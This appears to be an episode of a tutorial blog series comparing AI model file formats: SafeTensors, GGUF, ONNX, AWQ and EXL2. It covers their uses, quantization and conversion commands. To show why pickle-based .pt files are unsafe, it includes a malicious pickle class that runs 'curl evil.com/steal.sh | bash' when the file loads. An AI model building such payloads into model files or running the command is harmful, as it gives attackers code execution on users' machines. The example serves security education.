Model Formats: GGUF, SafeTensors, ONNX — The File Behind the Intelligence

You download a 7B model from Hugging Face. The folder contains files ending in .safetensors. Your friend sends you a .gguf file to run on your laptop. Someone in a Discord server swears by .onnx for production. Another person mentions .awq and .exl2.

Five different formats. All containing the same model. What's going on?

The format you choose determines where the model runs, how fast it loads, how much RAM it needs, and whether it's safe to even open the file. This isn't just a packaging difference — it's an infrastructure decision.

Why Multiple Formats Exist

A model is fundamentally just a collection of tensors (multidimensional arrays of numbers) plus some metadata (architecture info, tokenizer config, hyperparameters).

The question is: how do you serialize those tensors to disk?

Different tools need different things:

Need Format

No single format wins everywhere. Let's break them down.

SafeTensors: The Safe Default

Created by: Hugging Face File extension: .safetensors Primary use: Training, fine-tuning, GPU inference with PyTorch/Transformers

SafeTensors was born from a security crisis. The old format — PyTorch's .pt / .bin files — used Python's pickle for serialization. And pickle can execute arbitrary code when loading a file.

python

Why .pt files are dangerous — pickle can run code on load

import pickle

class Malicious:

def __reduce__(self):
        return (os.system, ("curl evil.com/steal.sh | bash",))

Save a "model" that runs a shell command when loaded

torch.save({"weight": Malicious()}, "evil_model.pt")

Anyone who does torch.load("evil_model.pt") just got pwned

SafeTensors fixes this by using a simple binary format — no code execution, ever:

[8 bytes: header size][JSON header][tensor data][tensor data]...

The header is JSON describing each tensor's name, dtype, and byte offset. The data is raw bytes. No pickle. No code. No surprises.

python

from safetensors import safe_open

from safetensors.torch import save_file

Save

tensors = {"weight": torch.randn(768, 768), "bias": torch.zeros(768)}
save_file(tensors, "model.safetensors")

Load — safe, no code execution

with safe_open("model.safetensors", framework="pt") as f:

weight = f.get_tensor("weight")
    bias = f.get_tensor("bias")

Memory-mapped loading — doesn't load entire file into RAM

Only reads tensors you access

Key Features

Feature SafeTensors PyTorch .pt

SafeTensors is now the default format on Hugging Face. If you see a model with .safetensors files, that's the one to use.

🔧

GGUF: The Local Inference King

Created by: Georgi Gerganov (llama.cpp) File extension: .gguf Primary use: CPU and consumer GPU inference via llama.cpp, Ollama, LM Studio

GGUF (GPT-Generated Unified Format) is the format that made "run AI on your laptop" possible. It's designed for one thing: efficient local inference.

What Makes GGUF Special

Single file: One .gguf file = entire model (weights + tokenizer + metadata). No folder of files.

Built-in quantization: Supports Q2, Q3, Q4, Q5, Q6, Q8, F16, F32 — all in one format

CPU-optimized: Designed for llama.cpp's CPU inference engine with AVX/NEON SIMD

Metadata inside: Architecture, context length, tokenizer vocab — all embedded in the file

bash

Download and run — that's it

ollama run llama3:8b-q4_K_M

Or with llama.cpp directly

./llama-cli -m llama-3-8b-Q4_K_M.gguf -p "Hello, world"

GGUF Quantization Naming

The naming tells you exactly what you're getting:

llama-3-8b-Q4_K_M.gguf

│  │ │
           │  │ └─ Size: S(mall), M(edium), L(arge)
           │  └─── Method: K(means-based quantization)
           └────── Bits: 4-bit quantization

GGUF vs the Old GGML

GGUF replaced the older GGML format in August 2023. The key improvement: extensible metadata. GGML had hardcoded fields. GGUF uses key-value pairs, so new model architectures don't need format changes.

GGUF file structure

[Magic: "GGUF"][Version][Tensor Count][Metadata KV pairs][Tensor Info][Tensor Data...]

📊

ONNX: The Universal Runtime

Created by: Microsoft + Facebook (now community-driven) File extension: .onnx Primary use: Cross-platform production deployment

ONNX (Open Neural Network Exchange) isn't just a file format — it's an entire computation graph specification. While SafeTensors and GGUF store weights, ONNX stores weights plus the operations that connect them.

python

ONNX stores the actual computation graph

Not just: weight_1 = [0.5, 0.3, ...]

But: output = MatMul(input, weight_1) → Add(bias_1) → ReLU() → MatMul(weight_2)...

Why This Matters

Because the graph is self-contained, ONNX models can run on any runtime without needing the original framework:

Runtime Platform Hardware

python

import onnxruntime as ort

Load and run — no PyTorch needed

session = ort.InferenceSession("model.onnx", providers=["CUDAExecutionProvider"])
result = session.run(None, {"input": input_data})

ONNX Tradeoffs

Pro Con

Cross-platform deployment Conversion from PyTorch can be tricky

ONNX shines for edge deployment and production APIs where you want to strip out Python entirely and run on specialized hardware.

AWQ: Activation-Aware Quantization

Created by: MIT HAN Lab File extension: .safetensors (with AWQ config) or .pt Primary use: Quantized GPU inference with vLLM, TGI, AutoAWQ

AWQ is a quantization method, not strictly a file format. But quantized AWQ models are distributed as their own category on Hugging Face.

The key insight: not all weights are equally important. AWQ identifies which weight channels matter most (based on activation magnitudes) and protects them during quantization.

python

Standard quantization: all weights treated equally

Weight: [0.523, 0.001, 0.892, 0.003, 0.741]

Q4: [0.5, 0.0, 0.9, 0.0, 0.7] ← important ones got rounded

AWQ: protect high-activation channels

Activations suggest channels 0, 2, 4 are critical

Scale those channels up before quantization, down after

Result: critical channels get much higher precision

AWQ vs GPTQ

AWQ GPTQ

EXL2: Maximum GPU Efficiency

Created by: turboderp (ExLlamaV2) File extension: .safetensors (with EXL2 config) Primary use: Fast quantized inference on consumer GPUs

EXL2 does something clever: mixed-precision quantization per layer. Instead of quantizing every layer to the same bit width, it allocates more bits to important layers and fewer to less important ones.

Layer 0 (embedding): 6 bits ← critical for quality

Layer 1-5: 4 bits ← can handle lower precision

Layer 6-10: 3.5 bits ← even lower

Layer 11 (output): 5 bits ← important for final output

Average: 4.0 bits per weight — same size as Q4, but smarter allocation

Feature EXL2 GGUF Q4 AWQ 4-bit

🔬

Decision Flowchart

Need to run a model? Ask yourself:

├── Running locally on your laptop?

│ └── GGUF (via Ollama or LM Studio)

│

├── Training or fine-tuning?

│ └── SafeTensors (with PyTorch/Transformers)

│

├── Deploying to production API?

│ ├── GPU available → AWQ (with vLLM)

│ ├── Mixed hardware → ONNX (with ORT)

│ └── Consumer GPU, max speed → EXL2 (with ExLlamaV2)

│

└── Edge/mobile deployment?

└── ONNX → convert to Core ML / TensorRT

🛡️

Try It Yourself

bash

Convert a Hugging Face model to GGUF

pip install llama-cpp-python

Using llama.cpp's convert script

python convert_hf_to_gguf.py \

--model meta-llama/Llama-3-8B \

--outfile llama-3-8b-f16.gguf

Quantize to Q4_K_M

./llama-quantize llama-3-8b-f16.gguf llama-3-8b-Q4_K_M.gguf Q4_K_M

Or just download pre-quantized from TheBloke/bartowski on HF

Much easier than converting yourself

📦

Practical Takeaways

SafeTensors is the safe default — use it for anything PyTorch-based, never use .pt files from untrusted sources

GGUF is for local inference — single file, built-in quantization, the Ollama/LM Studio format

ONNX is for cross-platform production — strips out Python, runs on any hardware

AWQ protects important weights during quantization — best for vLLM production serving

EXL2 allocates bits per layer — smartest quantization, best quality-per-bit on GPU

The format is an infrastructure choice — it determines your entire deployment stack

🚀

What's Next?

Episode 74: Attention Variants: MHA, MQA, GQA — The attention mechanism is the heart of every transformer. But the original "Multi-Head Attention" has a scaling problem. MQA and GQA trade a tiny bit of quality for massive memory savings. We'll see exactly how they work and why every modern model uses GQA.

← Previous

Ep 72: SentencePiece vs tiktoken

Next →

Ep 74: Attention Variants

Next: Episode 74 — Attention Variants

The original Multi-Head Attention has a dirty secret: it's a memory hog. MQA and GQA fix it — with tradeoffs.

This is part of a 98-episode series covering AI engineering from tokens to production deployment.